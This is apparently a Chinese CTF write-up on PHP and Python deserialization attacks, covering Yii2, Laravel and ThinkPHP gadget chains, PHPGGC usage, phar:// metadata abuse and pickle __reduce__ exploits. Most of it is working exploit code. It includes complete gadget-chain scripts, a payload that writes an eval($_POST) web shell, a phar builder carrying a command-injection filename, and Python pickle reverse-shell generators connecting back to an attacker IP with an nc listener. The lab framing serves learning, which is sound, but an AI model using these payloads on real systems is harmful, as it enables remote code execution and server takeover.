__call($name, $args) | 调用了一个不存在的方法时 | 你对机器人喊"起飞",它没有这个功能,但触发了一个备用程序 |
__toString() | 对象被当成字符串使用时 | 机器人被强行要求变成一张说明书 |
攻击者的思路:控制反序列化的数据,让魔法方法按我们想要的顺序触发,最终执行危险操作(比如 system('cat /flag'))。
一个类里的魔法方法只能做一点小事(比如调用另一个方法)。但如果我们把多个类串起来,像多米诺骨牌一样,一块推倒一块,最终就能触发大招。
这就是 Gadget Chain(也叫 POP 链,Property-Oriented Programming)。
类A的__destruct() → 调用类B的方法 → 触发类B的__call() → 调用类C的方法 → 最终执行 system('cat /flag')
PHPGGC = PHP Generic Gadget Chains
它是一个开源工具(GitHub 地址),作者把各大框架(Yii2、Laravel、Symfony 等)的 Gadget Chain 都研究透了,做成了一键生成器。
类比:就像做炸弹,以前你要自己买火药、配引线、算时间。现在 PHPGGC 是一个"炸弹生成器",你输入 框架名 攻击类型 命令,它直接给你生成装好火药的炸弹。
bash# 生成 Yii2 反序列化 payload,执行 whoami,输出 base64
./phpggc Yii2/RCE1 system "whoami" --base64
故事版:
你造了一个叫
BatchQueryResult的机器人。按照设计,它被销毁时(__destruct)会清理现场,调用一个叫close()的清理程序。但你偷偷把清理程序换成了Faker\Generator(一个"万能应答机")。这个应答机没有close()功能,于是触发了它的__call()备用程序。备用程序里你放了一张纸条:"去执行CreateAction::run()"。run()里面有个按钮叫call_user_func,你提前把按钮标签换成了system,参数换成了cat /flag。按钮一按,flag 出来了。
代码拆解:
php// 第1步:起点 - 对象销毁
namespace yii\db {
class BatchQueryResult {
private $_dataReader; // 你控制这里
public function __destruct() {
$this->reset(); // 自动调用
}
public function reset() {
if ($this->_dataReader !== null) {
$this->_dataReader->close(); // 调用 close()
}
}
}
}
php// 第2步:中间跳板 - Faker 应答机
namespace Faker {
class Generator {
protected $formatters = []; // 你控制这里
public function __call($method, $attributes) {
// $method = 'close'
// 从 formatters['close'] 取回调
$callback = $this->formatters[$method]; // [CreateAction, 'run']
return call_user_func_array($callback, $attributes);
}
}
}
php// 第3步:终点 - 执行命令
namespace yii\rest {
class CreateAction {
public $checkAccess = 'system'; // 你控制:函数名
public $id = 'cat /flag'; // 你控制:参数
public function run() {
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id); // system('cat /flag')
}
}
}
}
你的构造:
php$gen = new Faker\Generator();
$gen->formatters['close'] = [new CreateAction(), 'run'];
$bqr = new BatchQueryResult();
$bqr->_dataReader = $gen; // 把应答机塞进去
echo base64_encode(serialize($bqr));
为什么 web267 能用? 因为 web267 的 Yii2 版本低于 2.0.38,BatchQueryResult 还没有防护。
故事版:
这条链和链1的起点一样,都是
BatchQueryResult被销毁。但中间跳板换成了DbSession(数据库会话管理器)。DbSession有个特性:它保存会话时会触发writeCallback。你把writeCallback设成了IndexAction::run()。但IndexAction::run()有个毛病——执行完你的命令后,它非要再查一下数据库准备数据。数据库没配好,它就报错。Yii2 一报错,就把页面输出全清空了,所以你用passthru明明输出了 flag,却被"擦黑板"擦掉了。
代码拆解:
php// 中间跳板 - DbSession
namespace yii\web {
class DbSession {
public $writeCallback; // 你控制这里
// 当会话被写入时...
public function writeSession($id, $data) {
// ...
if ($this->writeCallback !== null) {
// 触发回调:IndexAction::run()
call_user_func($this->writeCallback, $this);
}
}
// close() 被调用时也会触发写入
public function close() {
$this->writeSession(...);
}
}
}
php// 终点 - IndexAction(注意不是 CreateAction)
namespace yii\rest {
class IndexAction {
public $checkAccess;
public $id;
public function run() {
// 先执行你的命令
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
// 然后!!强制调用 prepareDataProvider()
$dataProvider = $this->prepareDataProvider(); // 这里报错!
}
}
}
关键问题:
IndexAction::run() 执行完 checkAccess 后,一定会调用 prepareDataProvider()prepareDataProvider 没配置(默认 null),就会抛出异常ob_clean()),导致 passthru 的输出被吞掉shell_exec 是"后台执行",不受输出缓冲区影响,所以写文件能成功为什么你加 Closure 会炸?
php$this->prepareDataProvider = function() { return []; };
PHP 的 serialize() 从语言层面禁止序列化匿名函数。你想用匿名函数阻止报错,但 PHP 根本不让序列化它,所以生成 payload 时就报 Fatal error。
故事版:
既然
BatchQueryResult被加了防护(__wakeup一碰就炸),那就不用它做起点!你找到了邮件库 SwiftMailer 里的Swift_KeyCache_DiskKeyCache。它销毁时会清理缓存文件,清理过程中会把一个对象当字符串用(触发__toString)。这个对象是See(文档注释标签),它变成字符串时会调用render()。render()又调用了Faker\Generator的render()方法——但Generator没有render(),于是触发__call(),最终走到CreateAction::run()。全程没有碰BatchQueryResult,完美绕过!
代码拆解:
php// 第1步:新起点 - SwiftMailer 的缓存
namespace {
class Swift_KeyCache_DiskKeyCache {
private $keys = [];
private $path; // 你控制这里
public function __destruct() {
foreach ($this->keys as $key => $null) {
$this->clearKey($this->path, $key); // $this->path 是 See 对象
}
}
public function clearKey($nsKey, $itemKey) {
// 这里把 $nsKey(See 对象)当字符串用!
$this->clearFile($this->getFileName($nsKey, $itemKey));
}
public function getFileName($nsKey, $itemKey) {
// 字符串拼接!$nsKey 被强制转成字符串
return $nsKey . '/' . $itemKey; // 触发 See::__toString()
}
}
}
php// 第2步:__toString 跳板
namespace phpDocumentor\Reflection\DocBlock\Tags {
class See {
protected $description; // 你控制这里(放 Generator)
public function __toString() {
return $this->description->render(); // 调用 Generator->render()
}
}
}
php// 第3步:__call 跳板(老朋友了)
namespace Faker {
class Generator {
protected $formatters = []; // 你控制这里
public function __call($method, $args) {
// $method = 'render'
$callback = $this->formatters['render']; // [CreateAction, 'run']
return call_user_func_array($callback, $args);
}
}
}
php// 第4步:终点(和链1一样)
namespace yii\rest {
class CreateAction {
public $checkAccess = 'passthru';
public $id = 'cat /flag';
public function run() {
call_user_func($this->checkAccess, $this->id);
}
}
}
为什么 web268 必须用这条链?
BatchQueryResult 被加了 __wakeup 防护BatchQueryResult__wakeup 限制故事版:
又有人找到了另一个起点:
Codeception\Extension\RunProcess。这是一个测试框架的扩展,销毁时会检查进程是否在运行。检查过程中会调用isRunning(),而isRunning()又调用了Faker\ValidGenerator的一个不存在的方法,触发__call(),最终也能走到执行命令的地方。
代码拆解:
php// 起点:Codeception 的进程管理
namespace Codeception\Extension {
class RunProcess {
protected $processes = []; // 你控制这里
public function __destruct() {
$this->stopProcess(); // 清理进程
}
public function stopProcess() {
foreach ($this->processes as $process) {
if (!$process->isRunning()) { // 调用 isRunning()
// ...
}
}
}
}
}
php// 中间跳板:Faker 的验证器
namespace Faker {
class ValidGenerator {
protected $generator; // 你控制这里
public function __call($method, $args) {
// $method = 'isRunning'
return $this->generator->$method(...$args); // 调用 DefaultGenerator->isRunning()
}
}
class DefaultGenerator {
protected $default; // 你控制这里
public function __call($method, $args) {
// 返回 default,但在此之前可以触发其他逻辑
return $this->default;
}
}
}
适用场景:目标环境安装了 Codeception 测试框架时可用。
故事版:
这条链更"野"。起点还是
BatchQueryResult,但中间不经过Faker或CreateAction。它利用了 HTTP 客户端库 Guzzle 的FnStream——这是一个"函数流",关闭时会触发一个回调函数。你把回调设成了 PHPUnit 测试框架的MockTrait::generate(),这个函数会生成一段 PHP 代码并执行eval()。eval()里你可以写任意 PHP 代码,比如file_put_contents('shell.php', '<?php eval($_POST[1]);?>')。
代码拆解:
php// 中间跳板:Guzzle 的函数流
namespace GuzzleHttp\Psr7 {
class FnStream {
private $_fn_close; // 你控制这里
public function close() {
call_user_func($this->_fn_close); // 直接执行回调!
}
}
}
php// 终点:PHPUnit 的 Mock 生成器
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode; // 你控制这里(PHP 代码字符串)
public function generate() {
eval($this->classCode); // 执行任意 PHP 代码!
}
}
}
为什么这条链厉害?
CreateAction::run(),直接 eval() 执行 PHP 代码file_put_contents、system、eval($_POST[1]) 等任意操作Yii2 开发者发现 BatchQueryResult 被滥用,于是加了一行代码:
phpclass BatchQueryResult {
public function __wakeup() {
throw new \LogicException('You cannot unserialize this object.');
}
}
什么意思?
BatchQueryResult → 对象复活 → 脚本结束 → __destruct() → 触发链BatchQueryResult → 触发 __wakeup() → 直接抛异常,对象销毁,链断了类比:你在多米诺骨牌第一块前面修了一堵墙,骨牌根本立不起来。
墙只修在 BatchQueryResult 前面,但院子里还有其他骨牌:
| 绕过链 | 新起点 | 是否触发 __wakeup? |
|---|---|---|
| 链3(SwiftMailer) | Swift_KeyCache_DiskKeyCache | ❌ 没有 __wakeup |
| 链4(Codeception) | Codeception\Extension\RunProcess | ❌ 没有 __wakeup |
核心思想:__wakeup 只保护被修复的类,其他类的 __destruct() 依然可用。
PHPGGC(PHP Generic Gadget Chains)是一个开源工具,把各大框架的 Gadget Chain 做成了命令行生成器。
类比:就像游戏里的"技能书",你不用自己研究怎么搓火球术,输入指令直接释放。
bashgit clone https://github.com/ambionics/phpggc.git
cd phpggc
bash./phpggc -l yii2
输出大概长这样:
Yii2/RCE1 * 2.0.38 RCE (Function call) __destruct Yii2/RCE2 * 2.0.38 RCE (PHP code) __destruct Yii2/RCE3 * 2.0.38 RCE (Function call) __destruct Yii2/RCE4 * 2.0.38 RCE (Function call) __destruct
bash# 链1:Function call,适合 system/passthru/exec
./phpggc Yii2/RCE1 system "cat /flag" --base64
# 链2:PHP code eval,适合写 shell
./phpggc Yii2/RCE2 'file_put_contents("shell.php","<?php eval(\$_POST[1]);?>");' --base64
# 链3/4:其他绕过链
./phpggc Yii2/RCE3 passthru "ls -al" --base64
因为 PHPGGC 的 Yii2/RCE1~4 默认起点都是 BatchQueryResult,而 web268 的 BatchQueryResult 被 __wakeup 封了。所以必须手动构造链3(SwiftMailer)或链4(Codeception),或者等 PHPGGC 更新支持新链。
| 题目 | 环境特征 | 该用哪条链 | 你的问题 | 原因 |
|---|---|---|---|---|
| web267 | Yii2 < 2.0.38,有 Faker | 链1(BatchQueryResult → Faker → CreateAction) | 正常出 flag | BatchQueryResult 无防护,CreateAction::run() 执行完直接结束,无后遗症 |
| web268 | Yii2 >= 2.0.38 或过滤链1 | 链3(SwiftMailer → See → Faker → CreateAction) | 链1失效,必须用链3 | BatchQueryResult 被 __wakeup 封了;且 IndexAction 有 prepareDataProvider 后遗症 |
| 你的链A(DbSession) | 同 web267 环境 | 能用但只能盲打 | passthru 无回显 | IndexAction::run() 报错触发 Yii2 错误处理,清空输出缓冲区 |
| 你的 Closure 尝试 | 任何环境 | ❌ 不可用 | Fatal error: Serialization of Closure is not allowed | PHP 核心禁止序列化匿名函数 |
一样的
一样的
php <?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
Laravel 是一个基于 PHP 的开源 Web 应用框架,由 Taylor Otwell 创建,用于快速开发高质量的 Web 应用程序。
确定版本

这里使用6链
php ./phpggc -l laravel

这里是遇到了/和=的转义问题,所以我们进行base64编码并去掉=号
php phpggc Laravel/RCE6 'eval(base64_decode("c3lzdGVtKCJjYXQgL2ZsYWciKTs"));' -u
获得flag

这里给个别人的wp
php<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('cat /flag'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
链6依旧可以
这里给个别人的wp
php<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name="feng";
}
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /flag');exit()?>";
$this->config=new MockConfiguration();
}
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
链6依旧可以
别人的wp同上一个
进来直接告诉我是啥了,开登

全部不存在!!!看了看没有检测反序列化

可以传参data,他会反序列化解码base64后的,所以这里要传一个base64

php ./phpggc -l thinkphp

使用-b输出
php phpggc ThinkPHP/RCE1 system 'ls' -b
传参

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
析构函数,在对象被销毁时自动调用(如脚本结束、unset 等)。
phpif(isset($_GET['fn'])){
fn 变量。php $content = file_get_contents('php://input');
file_get_contents('php://input') 读取 HTTP 请求的原始 POST 数据(非表单格式),以字符串形式存储在 $content 中。php $f = new filter($_GET['fn'], $content);
filter 类的实例 $f。$_GET['fn'](用户控制的文件名)和 $content(原始 POST 数据)。filename = $_GET['fn'],filecontent = $content。php if($f->checkevil() === false){
checkevil() 方法,并严格比较返回值是否等于 false(类型和值都相同)。checkevil() 返回 false,说明文件未被标记为恶意,进入文件操作逻辑。===,所以只有当 $evilfile 为 false 时才会进入。php file_put_contents($_GET['fn'], $content);
$content(POST 数据)写入到名为 $_GET['fn'] 的文件中。checkevil() 的检测。php copy($_GET['fn'], md5(mt_rand()).'.txt');
.txt 文件。md5(mt_rand()) 生成,用于“隐藏”原始文件。php unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
$_SERVER['DOCUMENT_ROOT'] 是网站根目录的路径,拼接 / 和 $_GET['fn'] 得到完整路径。方法一:让文件名 fn 包含 php 或 ..,例如 shell.php。
方法二:让 POST 数据(filecontent)包含 flag 字符串,例如发送 flag=1。
传一个fn,传一个flag,注意不能有"

php<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
上一个就不行了,要求admin为真
这种方法不行--尝试写入.htaccess文件
然后写入txt,但是发现不解析

https://www.freebuf.com/articles/web/305292.html
当 PHP 文件操作函数(如
file_get_contents、fopen、copy、file_exists等)处理一个phar://伪协议路径时,PHP 会自动读取该 phar 文件的 metadata 部分,并将其反序列化,从而实例化其中存储的对象。 如果对象中定义了魔术方法(如__destruct),在对象生命周期结束时就会自动触发。本题中,
copy($_GET['fn'], md5(mt_rand()).'.txt')的源参数$_GET['fn']完全可控。 如果传入phar://1.phar/1.txt,copy会去读取 phar 文件中的1.txt,同时反序列化其 metadata,触发对象创建和销毁,最终执行__destruct()中的命令。
写脚本创建2.phar
php<?php
class filter{
public $filename;
public $filecontent;
public $evilfile = false;
public $admin = false;
}
$a = new filter();
$a->filename = ';ls'; // 命令注入,通配符绕过 flag 检测
$a->filecontent = '1';
$a->evilfile = true;
$a->admin = true;
$phar = new Phar('2.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a); // 存储恶意对象
$phar->addFromString('1.txt', 'dky'); // 添加内部文件,确保 phar:// 访问有效
$phar->stopBuffering();
echo "phar created\n";
?>
创建
使用curl写入

触发反序列化
、
更改命令为

file_exists、fopen、copy、file_get_contents、unlink、md5_file 等,且参数可控。__destruct、__wakeup、__toString 等,内部有危险操作(如 system、eval)。
https://xz.aliyun.com/news/7032#toc-5
这个注释提示了一个 Python 后门接口:/backdoor?data=,其中 data 参数会先进行 base64 解码,然后通过 pickle.loads() 反序列化。
pickle 反序列化漏洞可以导致任意代码执行,因为 pickle 允许序列化对象并在反序列化时自动调用某些方法(如 __reduce__),攻击者可构造恶意 pickle 数据,使其在反序列化时执行系统命令(例如读取 flag 文件)。

pyimport pickle
import base64
import subprocess
class Evil:
def __reduce__(self):
# 先执行 ls 看看 flag 在哪
return (subprocess.check_output, (['ls', '-la'],))
payload = pickle.dumps(Evil())
b64 = base64.b64encode(payload).decode()
print(b64)
无回显,

反弹shell

pyimport pickle
import base64
import subprocess
# ========== 改成你的 ==========
IP = "" # 例如 "1.2.3.4"
PORT = 5555
# ============================
# Python 反弹 shell 代码(base64 编码避免引号地狱)
py_code = f"import socket,subprocess,os;s=socket.socket();s.connect(('{IP}',{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
py_b64 = base64.b64encode(py_code.encode()).decode()
class Evil:
def __reduce__(self):
# 目标用 python 解码执行反弹 shell
return (subprocess.Popen, (['python', '-c', f'import base64;exec(base64.b64decode("{py_b64}"))'],))
payload = pickle.dumps(Evil())
b64 = base64.b64encode(payload).decode()
print(b64)
成功

提示
两个都能工作,核心原因是 subprocess 是纯 Python 模块,不是平台相关的 C 扩展,所以 subprocess.Popen 和 subprocess.check_output 在所有平台上 pickle 出来的结果都一样,都是 subprocess.Popen / subprocess.check_output。
而之前 os.system 不行,是因为 os.system 在底层是 nt.system(Windows)或 posix.system(Linux),是平台相关的 C 函数,pickle 会记录真实的底层模块名。
提示
想象你有一个活蹦乱跳的乐高积木城堡(Python对象),你想把它寄给朋友。你不能直接寄一座城堡,你得把它拆成一块块积木,装进盒子,贴上说明书。
这个过程就叫 序列化(Serialize)。
在 Python 里,pickle.dumps() 就是那个"装盒"的动作:
pythonimport pickle
data = {"name": "小明", "age": 18}
box = pickle.dumps(data) # 把字典"冻"成二进制字节
朋友收到盒子,按照说明书把积木拼回城堡。
这个过程叫 反序列化(Deserialize):
pythonrevived = pickle.loads(box) # 把二进制字节"复活"成字典
print(revived) # {'name': '小明', 'age': 18}
⚠️ 重要警告:Python 官方文档明确说 —— 永远不要反序列化不信任来源的 pickle 数据!
假设你有一个"学生"类:
pythonclass Student:
def __init__(self, name):
self.name = name
s = Student("小明")
box = pickle.dumps(s) # 装盒
s2 = pickle.loads(box) # 复活 → 得到一个新的 Student("小明")
Pickle 在反序列化时,有一个特殊的"后门"方法叫 __reduce__。
__reduce__ 本来是用来告诉 pickle:"我复活的时候该怎么重建自己"
但攻击者可以篡改这个说明书:
pythonimport pickle
import os
class Evil:
def __reduce__(self):
# 正常情况下这里应该返回怎么重建 Evil 对象
# 但攻击者返回了一个"函数调用指令"
return (os.system, ('ls',)) # ← 相当于说:复活时执行 os.system('ls')
box = pickle.dumps(Evil())
pickle.loads(box) # 💥 执行了 ls 命令!
Pickle 反序列化时,内部有一个**"小机器人"**在按指令干活。这些指令叫 Opcode(操作码)。
你的 __reduce__ 返回的内容,会被翻译成这样的"机器人指令":
1. 把 'posix' 放到桌上 2. 把 'system' 放到桌上 3. 【STACK_GLOBAL】把桌上两个名字拼起来 → posix.system(也就是 os.system) 4. 把 'ls' 放到桌上 5. 【TUPLE1】把 'ls' 包成一个小包裹 → ('ls',) 6. 【REDUCE】🔥 执行!posix.system('ls') 🔥 7. 结束
REDUCE 这个指令就是"执行函数调用"的意思。
攻击者利用的就是这一点:让 REDUCE 执行的不是"重建对象",而是"执行系统命令"。
subprocess 而不是 os.system?os.system 跨平台会炸在 Windows 上:
pythonimport os
os.system.__module__ # → 'nt' (Windows 底层是 nt 模块)
在 Linux 上:
pythonos.system.__module__ # → 'posix' (Linux 底层是 posix 模块)
Pickle 记录的是函数的真实出身!
如果你在 Windows 上 pickle os.system,它会被记录为 nt.system。传到 Linux 服务器上一反序列化,服务器找不到 nt 模块,直接报错。
subprocess(纯 Python,全平台通用)pythonimport subprocess
subprocess.Popen.__module__ # → 'subprocess' (所有平台都一样!)
subprocess 是纯 Python 写的标准库,不是 C 底层函数,所以不管你在 Windows 还是 Linux 上 pickle,结果都是 subprocess.Popen,跨平台完美兼容。
pythonimport base64
import pickle
data = request.form.get('data') # 你传的数据
m = base64.b64decode(data)
m = pickle.loads(m) # ← 危险!直接反序列化用户输入
pythonimport pickle
import base64
import subprocess
# ========== 改成你的 ==========
IP = "你的服务器IP"
PORT = 9999
# ============================
# 1. 准备反弹 shell 的 Python 代码
py_code = f"import socket,subprocess,os;s=socket.socket();s.connect(('{IP}',{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
py_b64 = base64.b64encode(py_code.encode()).decode()
# 2. 构造恶意对象
class Evil:
def __reduce__(self):
# 反序列化时执行:subprocess.Popen(['python', '-c', '反弹shell代码'])
return (subprocess.Popen, (['python', '-c', f'import base64;exec(base64.b64decode("{py_b64}"))'],))
# 3. 序列化 + base64 编码
payload = pickle.dumps(Evil())
b64 = base64.b64encode(payload).decode()
print(b64) # 把这串 base64 传给题目
bashnc -lvvp 9999
题目服务器反序列化时 → 启动 python 进程 → 连接回你的 nc → 拿到 shell!
[攻击者电脑] [目标服务器] │ │ │ 1. 生成恶意 pickle │ │ __reduce__ 返回 │ │ (subprocess.Popen, [...]) │ │ │ │ 2. base64 编码后发送 ──────→│ │ │ │ 3. 解码 base64 │ 4. pickle.loads() │ │ │ 5. REDUCE 执行 │ subprocess.Popen( │ ['python','-c','反弹shell'] │ ) │ │ │←──────────────────────── 6. 连接回来! │ │ [nc 收到 shell] [目标被控制]
过滤了os.system,但是没影响,我们上关用的subprocess
同理
